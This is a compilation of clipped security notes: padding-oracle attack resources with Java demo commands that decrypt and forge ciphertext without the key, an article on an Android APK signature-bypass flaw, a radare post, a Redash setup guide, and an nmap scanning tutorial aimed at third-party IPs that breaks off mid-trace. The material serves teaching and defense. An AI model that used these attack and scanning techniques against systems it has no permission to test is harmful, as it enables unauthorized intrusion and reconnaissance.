  * David Júlio, Padding Oracles, 2010

## Videos

  * POET vs. ASP.NET: DotNetNuke \(YouTube\)
  * Padding Oracle Exploit Tool vs Apache MyFaces \(YouTube\)
  * Cracking CAPTCHA with Padding Oracle attack \(YouTube\)
  * Details and exploit code for .NET Padding Oracle attack \(YouTube\)

## Tools

  * POET \(Padding Oracle Exploitation Tool\)
  * POET in JavaScript
  * Simple example in Java \(policy files for unlimited strength crypto are needed\);
**Compile** :

[code]     javac PaddingOracle.java

[/code]

\(some warnings about the deprecation of `sun.misc.BASE64Encoder` and
`sun.misc.BASE64Decoder` are expected\);

**Simple Encryption** :

[code]     java Encryptor plain "some important and secret data"

[/code]

which outputs:

[code]     F15JsXV/MF3hfZ7mn9mk1laQcdW13nXNsYEexUbZqaEsz1lguNwpCLqcUOBQLDdC

[/code]

**Simple Decryption** :

[code]     java Decryptor plain
"F15JsXV/MF3hfZ7mn9mk1laQcdW13nXNsYEexUbZqaEsz1lguNwpCLqcUOBQLDdC"

[/code]

which outputs:

[code]     some important and secret data

[/code]

**Vaudenay attack \(decrypt without knowledge of the key\)** :

[code]     java PaddingOracle plain
"F15JsXV/MF3hfZ7mn9mk1laQcdW13nXNsYEexUbZqaEsz1lguNwpCLqcUOBQLDdC"

[/code]

and the output should also be:

[code]     some important and secret data

[/code]

**CBC-R attack \(encrypt without knowledge of the key\)** :

[code]     java CBCR plain "another important and secret data"

[/code]

which outputs \(for example\):

[code]
mynAkA33CvV6WUT1wsPrBYdnkt33eBm/uLrpbWnQU8IL8KacagZ0DdaXYdS3xNkkmx0dTqCVoK8L1myOrAsiMw==

[/code]

You can confirm the correctness with the decryptor:

[code]     java Decryptor plain
mynAkA33CvV6WUT1wsPrBYdnkt33eBm/uLrpbWnQU8IL8KacagZ0DdaXYdS3xNkkmx0dTqCVoK8L1myOrAsiMw==

[/code]

should return

[code]     another important and secret data

[/code]

## Apache MyFaces

View state is sent to the client through an hidden input element called
`javax.faces.ViewState`. This element is constructed in the method
`writeViewStateField` of `HtmlResponseStateManager` \(code\). The actual
encryption and decryption is managed by the `StateUtils` class \(code\). This
class only encrypted the view state and didn’t include a MAC \(Message
Authentication Code\). This meant that a MyFaces server could be used as a
padding oracle by POSTing forms with a controlled value for
`javax.faces.ViewState`.

  * 2010-06-10: Issue 2749, _Encrypted View State does not include Message Authentication Code \(MAC\)_
View state is only encrypted. This was resolved on revision 951799.

  * 2010-09-30: Issue 2934, _Side-channel timing attack in StateUtils class may still allow padding oracle attack_
Hash comparison loop terminated on the first mismatch. This was corrected on
revision 1003345.

## ASP.NET

  * 2010-09-28: MS10-70: Vulnerability in ASP.NET Could Allow Information Disclosure, _Microsoft_ , Updates \(Download Center\), KB2418042

## Media and Blogs

  * 2010-07-05: Understanding Padding Oracle attacks, _Eloi Sanfèlix_
  * 2010-09-13: ‘Padding Oracle’ Crypto Attack Affects Millions of ASP.NET Apps, _ThreatPost_
  * 2010-09-14: Automated Padding Oracle Attacks with PadBuster, _Brian Holyfield_
  * 2010-09-18: Important: ASP.NET Security Vulnerability, _Scott Guthrie_
  * 2010-09-19: Fear, uncertainty and the padding oracle exploit in ASP.NET, _Troy Hunt_
  * 2010-09-22: asp.net padding oracle: how it relates to getting the web.config, forging authentication cookies and reading other sensitive data, _Eglasius_
  * 2010-09-24: Update on ASP.NET Vulnerability, _Scott Guthrie_
  * 2010-09-25: Why sleep is good for your app’s padding oracle health, _Troy Hunt_
  * 2010-09-28: ASP.NET Security Update Now Available, _Scott Guthrie_
  * 2010-09-28: MS10-070 OOB Patch for ASP.NET vulnerability, _Daniel Wesemann_
  * 2010-09-28: A Padding Oracle Attack Implemented In Javascript, _Amplia Security_
  * 2010-09-28: New Version of PadBuster Available for Download, _Brian Holyfield_
  * 2010-09-28: Investigating .NET Padding Oracle Exploitation with padBusterdotnet, _Giorgio Fedon_
  * 2010-09-29: Microsoft issues emergency out-of-band patch for ASP.NET, _Graham Cluley_
  * 2010-09-30: ASP.NET Security Fix Now on Windows Update, _Scott Guthrie_
  * 2010-10-02: Breaking .NET encryption with or without Padding Oracle, _Giorgio Fedon_
  * 2010-10-04: PadBuster v0.3 and the .NET Padding Oracle Attack, _Brian Holyfield_

# OpenRCE

**Created:**| _6/20/2009 8:52:36 PM_  
---|---  
**Updated:**| _6/20/2009 8:52:44 PM_  
**Author:**| __  
**Tags:**| _security tools reversing_  
  
You can also use radare which is a hex editor with assembler/disassembler,
debugger with code analysis, code graphing, scripting support and many other
goods.  
  
It runs on linux and windows \(and many other\) and supports ELF as main
binary format support, but also handles PE, PE+, CLASS and MACH0 files.  
  
For the debugging support. you can use radare in wine to run the w32 app from
linux, or you can just connect to a winedbg, w32gdb, qemu, vmware, bochs or
immunity debugger to trace the code, put comments, analyze memory,... from w32
or linux.  
  
It has been recently included in the Debian and Ubuntu testing repositories,
this means that you will get automatic updates from your distro.  
  
Feel free to join the mailing list and report problems you get, it is a very
active free software project and we are always open to get feedback.  
---  
  
<img src='img/Temp2_5918.gif' /> wzzx <img src='img/Temp2_5917.gif' /> | Posted: Friday, June 19 2009 05:02.37 CDT   
---|---  
FYI the site is http://radare.org

# Docker Based Developer Installation Guide

**Created:**| _5/18/2021 5:47:07 PM_  
---|---  
**Updated:**| _5/18/2021 5:47:07 PM_  
**Author:**| __  
**Tags:**| __  
  

  

  1. Home
  2. / Open Source & Self Hosted
  3. / Developer Guide

# Docker Based Developer Installation Guide



## Installing Docker, Docker Compose and Node.js

We will use Docker to run all the services needed for Redash, except for
Node.js which we will run locally.

  1. Install Docker and Docker Compose.
  2. Install Node.js \(latest LTS or later is recommended, can be installed with Homebrew on OS/X\)

## Setup

### Clone the Git repository

First you will need to clone the Git repository:

[code]

    git clone https://github.com/getredash/redash.git
    cd redash/
[/code]

### Create Docker Services

Once you have the above setup, you need to create the Docker services:

[code]

    docker-compose up -d
[/code]

This will build the Docker images and fetch some prebuilt images and then
start the services \(Redash web server, worker, PostgreSQL and Redis\). You
can refer to the `docker-compose.yml` file to see the full configuration.

If you hit an `errno 137` or `errno 134` particularly at `RUN npm run build`,
make sure you give your Docker VM enough memory \(4GB or more\).

### Install npm Packages

[code]

    npm install
[/code]

### Create Database

[code]

    # Create tables
    docker-compose run --rm server create_db
    
    # Create database for tests
    docker-compose run --rm postgres psql -h postgres -U postgres -c "create database tests"
[/code]

## Usage

### Run webpack Dev Server

Once all Docker services are running \(can be started either by `docker-
compose up` or `docker-compose start`\), Redash is available at
`http://localhost:5000/`.

While we will use webpack’s dev server, we still need to build the frontend
assets at least once, as some of them used for static pages \(login page and
such\):

[code]

    npm run build
[/code]

To work on the frontend code, you need to use the webpack dev server, which
you start with:

[code]

    npm run start
[/code]

Now the dev server is available at `http://localhost:8080`. It rebuilds the
frontend code when you change it and refreshes the browser. All the API calls
are proxied to `localhost:5000` \(the server running in Docker\).

### Installing new Python packages \(requirements.txt\)

If you pulled a new version with new packages or added some yourself, you will
need to rebuild the `server` and `worker` images:

[code]

    docker-compose build worker
    docker-compose build server
[/code]

### Running Tests

[code]

    docker-compose run --rm server tests
[/code]

Before running tests for the first time, you need to create a database for
tests:

[code]

    docker-compose run --rm postgres psql -h postgres -U postgres -c "create database tests;"
[/code]

### Debugging

See Debugging a Redash Server on Docker Using Visual Studio Code

## Configuration

TBD.

* * *
Edit on GitHub

# Anatomy of a file format problem – yet another code verification bypass in Android | Naked Security
**Created:**| _11/7/2013 2:21:42 PM_  
---|---  
**Updated:**| _11/7/2013 2:21:42 PM_  
**Author:**| __  
**Tags:**| _android File-format_  
  

# **A** natomy of a file format problem - yet another code verification bypass
in Android****

Join thousands of others, and sign up for Naked Security's newsletter

<img src='img/Temp2_746.png' width='170' height='170' />Four months ago, the
Android platform was stirred, though fortunately not too badly shaken  in the
end, by a pair of code  verification holes **.**

Simply put, you could add malware to a legitimate app - one from the Play
Store, if you liked, complete with icons, branding and reputation - in such a
way that Android's digital signature verification would consider it
unaltered**.**

From the helpless user's point of view, Google wouldn't just fail to warn
about the app possibly being dodgy, it would actively assert that it was the a
validated and unaltered item from the original, legitimate vendor**.**

Google, developers, users: everyone lost out except the crooks**.**

#### Sloppy coding****

Both of those earlier holes came about as a consequence of sloppy coding to do
with Android Package \(APK\) files, the format used for delivering apps**.**

It turns out that there was a third bug of a similar sort, found at around the
same time as the others, but only publicly patched this month, when the open
source code from Android 4**.** 4, better known as Kit Kat, was released.

→ Android and iOS low level code maestro Jay Freeman \(better known as
@saurik\), amongst others, found this bug mid-2013 but forbore from writing it
up  until the patch was officially out**.**

It's the sort of mistake that a company with the self-professed security
smarts of Google really ought not to have made, not least in one of Android's
much-vaunted security linchpins, namely the compulsory validation of digital
signatures when installing new software**.**

So this is a story worth telling, because it is a powerful reminder of how
backward compatibility, multi-language programming, and the re-use of code
libraries not designed with security in mind can get in the way of
correctness**.**

Here's what went wrong.

#### The how and why of APK files****

For reasons I don't know, but presumably because the format was well-
established, Google settled on ZIP files as the storage containers for Android
Packages \(APKs\)**.**

APKs are just ZIPs containing a special subdirectory, called `META-INF`, that
holds signed checksums for all the other files in the package**.**

<img src='img/Temp2_749.png' />

Unfortunately, the ZIP file format  came out in the late 1980s, aimed at
convenience and efficiency, not security**.**

→ The reason that APKs need a special META-INF directory for cryptographic
metadata is that ZIP files were designed to support only the most basic non-
cryptographic validation, such as checking that a shareware download wasn't
corrupted by your 0**.** 0012 Mbit/sec modem**.** Verifying the identity of
the original creator was not a consideration**.**

A ZIP file, also known as an archive, is effectively a special-purpose filing
system**.**

ZIPs can store multiple files in a directory structure, with each file and
directory individually named, timestamped, compressed and, optionally \(albeit
insecurely\) encrypted**.**

<img src='img/Temp2_747.png' />

Today, of course, despite the giant size of many software distributions,
removable storage devices are usually larger than the files you're downloading
- OS X Mavericks , at a whopping 5**.** 3GB, for example, fits easily onto all
but the very cheapest and smallest USB sticks on the market**.**

But that wasn't true in the 1980s and 1990s, when downloads often ran to
several megabytes, while a regular floppy diskette could store just 720KB**.**

ZIP files, therefore, were not only compressed to save space, but also laid
out so that they could easily be split across multiple diskettes**.**

Better yet, they could be restored - file by file, if necessary - without
requiring you to insert every diskette one-by-one to work out the directory
structure before starting**.**

As a result, the ZIP format is deliberately _redundant_ , and its internal
directory structure is recorded twice**.**

The file and directory names are stored first as a series of individual _local
headers_ interleaved with the data for each file, and then stored again in the
curiously-named _central directory_ tacked on the end**.**

<img src='img/Temp2_745.png' />

By keeping the central directory to the end, the ZIP program never needs to
ask you to reinsert an earlier floppy disk to rewrite it when building the
archive**.**

And by interleaving file headers throughout, ZIP files can still be recovered,
at least in part, even if the last floppy in the set is lost or damaged**.**

#### The downside of redundancy****

<img src='img/Temp2_748.png' width='170' height='172' />This sort of
redundancy is handy in an emergency, but can be dangerously distracting during
routine operations**.**

There's a famous nautical adage \(or if there isn't, there should be\) that
says, "When you set to sea, take three chronometers**.** If one of them
breaks, throw one of the remaining two overboard**.** "

I made that up, but the reasoning is sound: with three clocks, you still have
a majority vote if one goes wrong**.**

But if you have two, and they read differently, what are you going to do to
resolve the dilemma**?**

You face a similar problem with ZIP file metadata**.**

What Google really ought to do - or ought to have done when the first two APK
holes surfaced - is to break this dilemma permanently by treating APK files in
one or both of these ways:

  * Pick one of the two file metadata systems in the ZIP format, and use it exclusively when decompressing APKs, deliberately removing or avoiding any library code that might read and rely on the alternative metadata and thus harm security**.**
  * As part of validation, before trusting any file objects inside an APK, check that the two directory structures are identical, giving the same filenames, timestamps, sizes, and so forth**.** If not, assume corruption or malevolence. 

#### The latest flaw****

The ZIP file ambiguity exploit patched in Android 4**.** 4 abuses the
_filename length_ field in a ZIP file's metadata**.**

<img src='img/Temp2_743.png' />

This tells you how many bytes to skip forward in the local file header to get
past the filename in the header itself to the actual file data, and how many
bytes to skip forward in the central directory to get past the filename to the
next directory entry**.** \(There is no file data in the central directory,
only file metadata**.**\)

You can probably guess what's coming next**.**

The Java code in Android 4.3 and earlier that extracts the file data to verify
it uses the filename length from the central directory**.**

But the C code that extracts the file to install and execute it uses the
filename length in the local header**.**

<img src='img/Temp2_742.png' />

So you can deliberately craft a a file that is laid out as shown above, with
the local header filename length deliberately set so large that it points past
both the filename _and_ the original file data**.**

This presents one file to the verifier, and a different file to the operating
system loader**.**

Very simply put: the loader can be fed malware but the verifier will never see
it**.**

#### How can that work?

At this point you may be wondering how this subterfuge can possibly work,
unless the dodgy file is the last in the archive and Android doesn't check for
a neat conclusion to its file-by-file processing of the APK**.**

After all, in the above diagram, surely the C code will see an absurd and
deeply suspicious filename**?**

The filename length is so big that the C code will see the real filename with
the raw binary content of the original file \(shaded green\) tacked on the
end, and that won't match anything in the` META-INF `security database**.**

And surely the Java code that does the verification will get lost when moving
forward in the APK**?**

The data that follows the original file data is supposed to be the next local
file header, recognisable by its` PK\x3\x4 `"magic" string, but in our
example, the file data is followed by yet more data - the imposter file
\(shaded pink\)**.**

Saurik explains this very simply in his coverage of the bug : the C code
ignores the filename from the local header; and the Java code uses file
offsets from the central directory to navigate through the archive**.**

So neither of the giveway "something's gone wrong" conditions described above
arises**.**

→ The central directory includes a file offset for each local header, so that
once the Java code has finished verifying a file, it can jump directly to the
next one, thus avoiding the local header data that would cause it to skip
forward incorrectly**.** The imposter data, squeezed between the legitimate
file and the next local header, is simply ignored**.**

#### What to do****

Google doesn't seem to have gone for a holistic fix, such as either or both of
those listed above**.**

But the Android maintainers have made a small but apparently effective
adjustment by altering the Java-based validation code so that it follows a
similar path through the data to that used by the loader**.**

<img src='img/Temp2_750.png' />

By forcing the Java code to rely on the local header data to find its way to
the file data, the verifier will check what the loader is going to run, not
merely what an attacker wants it to see**.**

I still think that disallowing APK files altogether if they contain
discrepancies between the two streams of file metadata would be a more solid
and satisfying approach, but we shall have to take what Google has given
us**.**

And given the comment in the old code noting that the "extra field" data could
vary from the central directory \(the cause of the previous verification hole
\), you'd have thought that the programmer might have thought ahead and
applied the same logic proactively to the filename length**.**

But the laconic variable name` localExtraLenOrWhatever ` in the old code
suggests that the programmer didn't have security on his mind when he wrote
that snippet, so the proactive fix didn't happen, thus retaining the filename
length vulnerability**.**

So, until your device gets upgraded to Android 4**.** 4, you're at risk.

We offer these three tips:

  * Stick to the **Google Play Store** , where we hope that Google _has_ taken a holistic approach and is rejecting submissions with fishy-looking metadata in their APK files**.**
  * Use an **Android anti-virus** \(yes, Sophos just happens to have a good one , and it's free  from the Play Store\) that can scan newly-installed packages automatically before you run them**.**
  * If you're a programmer, don't follow Google's lead here - **code with security on your mind** all the time**.**

Neither the Play Store nor your favourite anti-virus can guarantee to keep all
unwanted apps off your device, but together they will come close**.**

Follow @duckblog

<img src='img/Temp2_744.png' alt='sav-for-android-ad-480' />

****

# nmap | research | sprawl
**Created:**| _4/25/2014 4:30:13 PM_  
---|---  
**Updated:**| _4/25/2014 4:30:13 PM_  
**Author:**| __  
**Tags:**| _security tools_  
  

# Port Scanning

nmap uses several port scanning approaches. Table below summarizes "canned"
scan types and corresponding command line flags:

Flag| Description  
---|---  
-sT| TCP Connect\(\) Scan  
-sS| SYN Scan  
-sA| ACK Scan  
-sW| Window  
-sN| Null Scan  
-sF| FIN Scan  
-sX| XMas Scan  
-sU| UDP Scan  
-sM| Maimon Scan  
-sO| IP Protocol Scan  
-sI host:port| Idle Scan  
-b | FTP Bounce Scan  
Using the above table, we can quickly generate a simple SYN scan on a Windows
box:

[code]

    nmap -sS 192.168.1.100
    
    Interesting ports on 192.168.1.100:
    Not shown: 1692 closed ports
    PORT     STATE SERVICE
    135/tcp  open  msrpc
    139/tcp  open  netbios-ssn
    445/tcp  open  microsoft-ds
    1025/tcp open  NFS-or-IIS
    5000/tcp open  UPnP
    MAC Address: 00:11:22:33:44:55
    
    Nmap finished: 1 IP address (1 host up) scanned in 1.347 seconds
    
[/code]

It is often useful to know a reason for nmap's decision on port's state. Use
option _\--reason_ to get detailed explanation:

[code]

    nmap -sS 72.14.207.99 -p22,80 --reason
    ...
    Interesting ports on eh-in-f99.google.com (72.14.207.99):
    PORT   STATE    SERVICE REASON
    22/tcp filtered ssh     no-response
    80/tcp open     http    syn-ack
    
    Nmap done: 1 IP address (1 host up) scanned in 2.028 seconds
    
[/code]

With the command line above, only default set of ports will be scanned. To
scan all ports on the machine use _-p_ flag:

[code]

    nmap -sS 192.168.1.100 -p1-65535
    
[/code]

To scan a large number of machines, you may use ranges and wildcards:

[code]

    nmap -sA 192.168.*.1-10,250-254
    
[/code]

The above will scan every thing beginning with _192.168_ and ending with
either _1-10_ or _250-254_. Less flexible CIDR notation may also be used.
Below is an example on how to perform a UDP scan on a Class C subnet:

[code]

    nmap -sU 192.168.0.0/24
    
[/code]

The majority of scans are trivial to execute, they only require users to set a
proper flag, target, and a range of ports. Some scan types, such as Idle Scan
and FTP Bounce Scan require additional hosts with certain characteristics to
act as intermediaries.

In addition to predefined set of scanning methodologies, NMap allows its users
to generate custom TCP packets with different flags set \(URG, ACK, PSH, RST,
SYN, and FIN\). Results collected from a custom scan will be interpreted as if
it was a SYN Scan \( SYN/ACK indicating an open port and RST indicating a
closed port\) by default, but you can specify different approach to
interpreting results by specifying any other scan type. For example, if we
want to create a variation on FIN Scan and instead scan using a combination of
URG and PSH flags set in packets we send the following nmap command will do
the trick:

[code]

    nmap 192.168.1.101 -p666 -sF --scanflags URGPSH
    
[/code]

In the example above we are attempting to probe port 666 on the target host
192.168.1.101 with the following packets being sent:

[code]

    0.144033 192.168.1.100 -> 192.168.1.101 TCP 56242 > 666 [PSH, URG] Seq=0 Urg=0 Len=0
    0.144144 192.168.1.101 -> 192.168.1.100 TCP 666 > 56242 [RST, ACK] Seq=0 Ack=0 Win=0 Len=0
    
[/code]

We have received RST from the target host which will be interpreted as closed
port as if it was a FIN Scan in the first place. Below is nmap's output for
this custom scan:

[code]

    Interesting ports on 192.168.1.101:
    PORT    STATE  SERVICE
    666/tcp closed doom
    
[/code]

# Host Discovery

Nmap's default host discovery facility is **Ping Scan**. It communicates with
target hosts by sending ICMP echo request and an ACK packet to port 80 when
raw socket access is available. The latter is akin to TCP ACK Scan where RST
response will be generated if the target host exists and its ports are
unfiltered. This is a useful feature since more and more hosts ignore ICMP
Echo requests. The following nmap command will perform this type of scan on
hosts 4.2.2.1 to 4.2.2.3:

[code]

    nmap -sP 4.2.2.1-3 -n
    
[/code]

Below is the packet trace of the above request. Note that we have disabled DNS
lookup for brevity:

[code]

    # nmap is sending both ping request and ACK packet to port 80
    # to test existance of hosts
    0.000000 192.168.1.100 -> 4.2.2.1      ICMP Echo (ping) request
    0.000369 192.168.1.100 -> 4.2.2.1      TCP 59997 > www [ACK] Seq=0 Ack=0 Win=2048 Len=0
    0.000877 192.168.1.100 -> 4.2.2.2      ICMP Echo (ping) request
    0.000969 192.168.1.100 -> 4.2.2.2      TCP 59997 > www [ACK] Seq=0 Ack=0 Win=2048 Len=0
    0.001069 192.168.1.100 -> 4.2.2.3      ICMP Echo (ping) request
    0.052535 192.168.1.100 -> 4.2.2.3      TCP 59997 > www [ACK] Seq=0 Ack=0 Win=3072 Len=0
    
    # not only hosts are nice enough to respond with ping reply, but they
    # further confirm their existance with RST responses as expected
    0.055146      4.2.2.1 -> 192.168.1.100 ICMP Echo (ping) reply
    0.059524      4.2.2.1 -> 192.168.1.100 TCP www > 59997 [RST] Seq=0 Len=0
    0.061627      4.2.2.2 -> 192.168.1.100 TCP www > 59997 [RST] Seq=0 Len=0
    0.061910      4.2.2.2 -> 192.168.1.100 ICMP Echo (ping) reply
    0.062106      4.2.2.3 -> 192.168.1.100 ICMP Echo (ping) reply
    0.100264      4.2.2.3 -> 192.168.1.100 TCP www > 59997 [RST] Seq=0 Len=0
    
[/code]

And here is nmap's output for the above scan:

[code]

    Host 4.2.2.1 appears to be up.
    Host 4.2.2.2 appears to be up.
    Host 4.2.2.3 appears to be up.
    
[/code]

For scanning environments where access to raw sockets is not available, nmap
utilizes an approach similar to TCP Connect Scan by trying to connect to port
80 on the target host. Naturally any response \(SYN/ACK or RST\) will confirm
hosts existance. Here is a packet trace for scan above made using unprivileged
account:

[code]

    # nmap attempts to connect to port 80 on target hosts
    0.000000 192.168.1.100 -> 4.2.2.1      TCP 51223 > www [SYN] Seq=0 Len=0 MSS=1460 TSV=22750678 TSER=0 WS=2
    0.000980 192.168.1.100 -> 4.2.2.2      TCP 49964 > www [SYN] Seq=0 Len=0 MSS=1460 TSV=22750678 TSER=0 WS=2
    0.001323 192.168.1.100 -> 4.2.2.3      TCP 37757 > www [SYN] Seq=0 Len=0 MSS=1460 TSV=22750678 TSER=0 WS=2
    
    # target hosts reply that port is not available thus revealing their existence
    0.014831      4.2.2.1 -> 192.168.1.100 TCP www > 51223 [RST, ACK] Seq=0 Ack=1 Win=0 Len=0
    0.018126      4.2.2.2 -> 192.168.1.100 TCP www > 49964 [RST, ACK] Seq=0 Ack=1 Win=0 Len=0
    0.023210      4.2.2.3 -> 192.168.1.100 TCP www > 37757 [RST, ACK] Seq=0 Ack=1 Win=0 Len=0
    
[/code]

While Ping Scan offers a preset collection of tests, you may fine tune the
discovery process with ping types below:

## ICMP Ping

Nmap allowed us to use several unique ICMP tyles for pings: -PE, -PP, and -PM.
The above three arguments correspond to standard ECHO reply, Timestamp reply,
and Address Mask reply. Below are commands and corresponding commands for the
above ping types:

For echo ping the following nmap command can be used: nmap -sP -PE 4.2.2.1

For Timestamp ping we can use this command instead: nmap -sP -PP 4.2.2.1

At last Address Mask ping will require the following command: nmap -sP -PM
4.2.2.1

## TCP Ping

### TCP SYN Ping

TCP SYN Ping allows us to use SYN packets sent to specific port\(s\) when
attempting to determine machine's existence.

[code]

    nmap -sP -PS53 4.2.2.1
    
[/code]

### TCP ACK Ping

Below is the nmap command that will perform ACK ping on 4.2.2.1-3 range just
like in SYN ping example.

[code]

    nmap -sP -PA53 4.2.2.1-3
    
[/code]

### UDP Ping

UDP Ping sends an empty UDP packet to an uncommon port hoping that it will
produce ICMP reply revealing that the target system is live. UDP ping uses
31338 as a default port to test on the target system. Below is a sample case
of UDP scan of a range from 4.2.2.1 to 4.2.2.3

[code]

    nmap -sP -PU 4.2.2.1
    
[/code]

### ARP Ping

You can force any of scan to use ARP ping by adding '--send-eth' to the
command. On the other hand you can prevent the use of raw ethernet frames by
adding _\--send-ip_ to disable ARP ping. Here is an example of trying to ping
host 192.168.1.1:

[code]

    nmap -sP -PR 192.168.1.1
    
[/code]

### IP Protocol Ping

As a natural extension of IP Protocol Scan, Nmap implement IP Protocol Ping to
illicit some response from the host:

[code]

    nmap -sP -PO 192.168.1.1
    
[/code]

## Reverse DNS

We can conduct mass rDNS queries using nmap's **List Scan**. It does not make
any direct queries to target hosts, but it lists all ip addresses in the
specified range and performs rDNS queries. You can also specify your own list
of dns servers. For example a command to list scan ip range from 64.233.187.99
to 64.233.187.101 using 4.2.2.1 as a DNS server:

[code]

    nmap -sL 64.233.187.99-101 --dns-servers 4.2.2.1,4.2.2.2
    
    Starting Nmap 4.20 ( http://insecure.org ) at 2007-10-04 19:32 PDT
    Host jc-in-f99.google.com (64.233.187.99) not scanned
    Host jc-in-f100.google.com (64.233.187.100) not scanned
    Host jc-in-f101.google.com (64.233.187.101) not scanned
    Nmap finished: 3 IP addresses (0 hosts up) scanned in 4.080 seconds
    
[/code]

# Service/Version Detection

When Nmap discovers an open port on the target system, it prints out a service
name commonly associated with that port number. Such descriptions are obtained
from a fixed database with direct mappings of port numbers and their
associated description. Unfortunately, if a particular service will be bound
on a non-standard port, information supplied by Nmap would be faulty. To
establish which service is running on an open port to a greater degree of
certainty, Nmap can optionally further interrogate the system to extract not
only the service name but also version number, protocol version, and other
useful information. Nmap includes a number of generic probes: 10 UDP Probes
and 30 TCP Probes. In the majority of time a simple TCP NULL Probe is
sufficient to determine all information we need about the port; however if
clarification or more information is needed nmap will launch more probe
requests.

## TCP NULL Probe

This probe is launched by default when attempting to run service/version
detection mechanism on an open TCP port. In this case a TCP connection is
opened, but nothing is sent. Instead nmap waits for 6 seconds \(used to be 5\)
and listens for any response such as welcome banners. Responses are matched
with hundreds of signatures stored in Nmap's service probes database stored in
_nmap-service-probe_ file. For example, let's attempt to detect the exact
service and version running on port 22 \(ssh\) of the target system
192.168.1.101:

[code]

    nmap -sV -p22 192.168.1.101 --version-all
    
[/code]

This request generates the following packet trace:

[code]

    # Nmap first SYN Scans the target port and determines that it is open
    0.125807 192.168.1.100 -> 192.168.1.101 TCP 63744 > ssh [SYN] Seq=0 Len=0 MSS=1460
    0.125908 192.168.1.101 -> 192.168.1.100 TCP ssh > 63744 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460
    0.125931 192.168.1.100 -> 192.168.1.101 TCP 63744 > ssh [RST] Seq=1 Len=0
    
    # Next a connection is established and we passively wait for server response
    0.244139 192.168.1.100 -> 192.168.1.101 TCP 35239 > ssh [SYN] Seq=0 Len=0 MSS=1460 TSV=1221975 TSER=0 WS=2
    0.244281 192.168.1.101 -> 192.168.1.100 TCP ssh > 35239 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=1 TSV=7886057 TSER=1221975
    0.244306 192.168.1.100 -> 192.168.1.101 TCP 35239 > ssh [ACK] Seq=1 Ack=1 Win=5840 Len=0 TSV=1221975 TSER=7886057
    
    # Server responds with a welcome banner which includes exact service name and version number
    # which completes TCP Null Probe routine
    0.259871 192.168.1.101 -> 192.168.1.100 SSH Server Protocol: SSH-2.0-OpenSSH_4.5p1 FreeBSD-20061110
    0.259899 192.168.1.100 -> 192.168.1.101 TCP 35239 > ssh [ACK] Seq=1 Ack=40 Win=5840 Len=0 TSV=1221979 TSER=7886072
    0.399051 192.168.1.100 -> 192.168.1.101 TCP 35239 > ssh [FIN, ACK] Seq=1 Ack=40 Win=5840 Len=0 TSV=1222014 TSER=7886072
    0.399176 192.168.1.101 -> 192.168.1.100 TCP ssh > 35239 [ACK] Seq=40 Ack=2 Win=66608 Len=0 TSV=7886212 TSER=1222014
    0.399771 192.168.1.101 -> 192.168.1.100 TCP ssh > 35239 [FIN, ACK] Seq=40 Ack=2 Win=66608 Len=0 TSV=7886212 TSER=1222014
    0.399788 192.168.1.100 -> 192.168.1.101 TCP 35239 > ssh [ACK] Seq=2 Ack=41 Win=5840 Len=0 TSV=1222014 TSER=7886212
    
[/code]

Upon connecting to the target system on port 22, nmap received the following
welcome banner:

[code]

    SSH-2.0-OpenSSH_4.5p1 FreeBSD-20061110
    
[/code]

It was immediately matched with the following regular expression entry in
Nmap's service probe database which extracted not only service name, type, and
protocol number but also details on host operating system.

[code]

    match ssh m|^SSH-([\d.]+)-OpenSSH_([\w.]+) FreeBSD-([\d]+)\n| p/OpenSSH/ v/$2/ i/FreeBSD $3; protocol $1/ o/FreeBSD/
    
[/code]

As a result nmap produced the following output:

[code]

    Interesting ports on 192.168.1.101:
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 4.5p1 (FreeBSD 20061110; protocol 2.0)
    MAC Address: 00:01:02:03:04:05 
    Service Info: OS: FreeBSD
    
[/code]

## Other Probes

If the target port is UDP, TCP Null Probe did not return sufficient results,
or additional information can be collected, Nmap launches one of its probes.
Detailed listing of each probes can be found on Nmap Service Probe page.

Which specific probe to launch is based on whatever information was gathered
in TCP Null Probe or the service most likely to run on a given port. For
example, port 80 is likely to run a web server thus TCP GetRequest probe is
likely to get launched. At the same time if both NULL Probe fails and the
second probe doesn't return any results, nmap proceeds to launch every single
probe sequentially. Here is an example TCP GetRequest probe definition:

[code]

    Probe TCP GetRequest q|GET / HTTP/1.0\r\n\r\n|
    rarity 1
    ports 1,70,79,80-85,88,113,139,143,280,497,505,514,515,540,554,620,631,783,888,898,900,901,993,995,1026,1080,1214,
    1220,1234,1311,1314,1503,1830,1900,2001,2002,2030,2064,2160,2306,2525,2715,2869,3000,3002,3052,3128,3280,3372,3531,
    3689,4000,4660,5000,5427,5060,5222,5269,5432,5800-5803,5900,6103,6346,6544,6600,6699,6969,7007,7070,7776,8000-8010,
    8080-8085,8118,8181,8443,8880-8888,9001,9030,9050,9080,9090,9999,10000,10005,11371,13013,13666,13722,14534,15000,
    18264,40193,50000,55555,4711
    sslports 443
    
[/code]

From the definition above we can see that for ports 1,70,79,80-85... nmap is
going to send out "GET / HTTP/1.0\r\n\r\n" request. This should produce
signatures that will match common web servers on the net. Also note the rarity
attribute is set to "1" which means that this type of probe is extremely
popular and will be executed at highest priority.

Here is an example where we are going to get service/version information on
port 80 of google.com:

[code]

    nmap -sV -p80 64.233.187.99 --version-all
    
[/code]

This will produce the following packet trace:

[code]

    # Nmap is SYN Scanning port 80 on google.com and confirms that it is open
    0.000000 192.168.1.100 -> 64.233.187.99 TCP 54087 > www [SYN] Seq=0 Len=0 MSS=1460
    0.135261 64.233.187.99 -> 192.168.1.100 TCP www > 54087 [SYN, ACK] Seq=0 Ack=1 Win=8190 Len=0 MSS=1460
    0.135291 192.168.1.100 -> 64.233.187.99 TCP 54087 > www [RST] Seq=1 Len=0
    
    # Now we start NULL Probe of nmap's service/version detection engine
    0.264543 192.168.1.100 -> 64.233.187.99 TCP 39240 > www [SYN] Seq=0 Len=0 MSS=1460 TSV=2192037 TSER=0 WS=2
    0.370085 64.233.187.99 -> 192.168.1.100 TCP www > 39240 [SYN, ACK] Seq=0 Ack=1 Win=8190 Len=0 MSS=1460
    0.370120 192.168.1.100 -> 64.233.187.99 TCP 39240 > www [ACK] Seq=1 Ack=1 Win=5840 Len=0
    
    # After waiting for 6 seconds, nmap gives up and based on target port 80
    # sends TCP GetRequest probe instead. 
    6.370004 192.168.1.100 -> 64.233.187.99 HTTP GET / HTTP/1.0
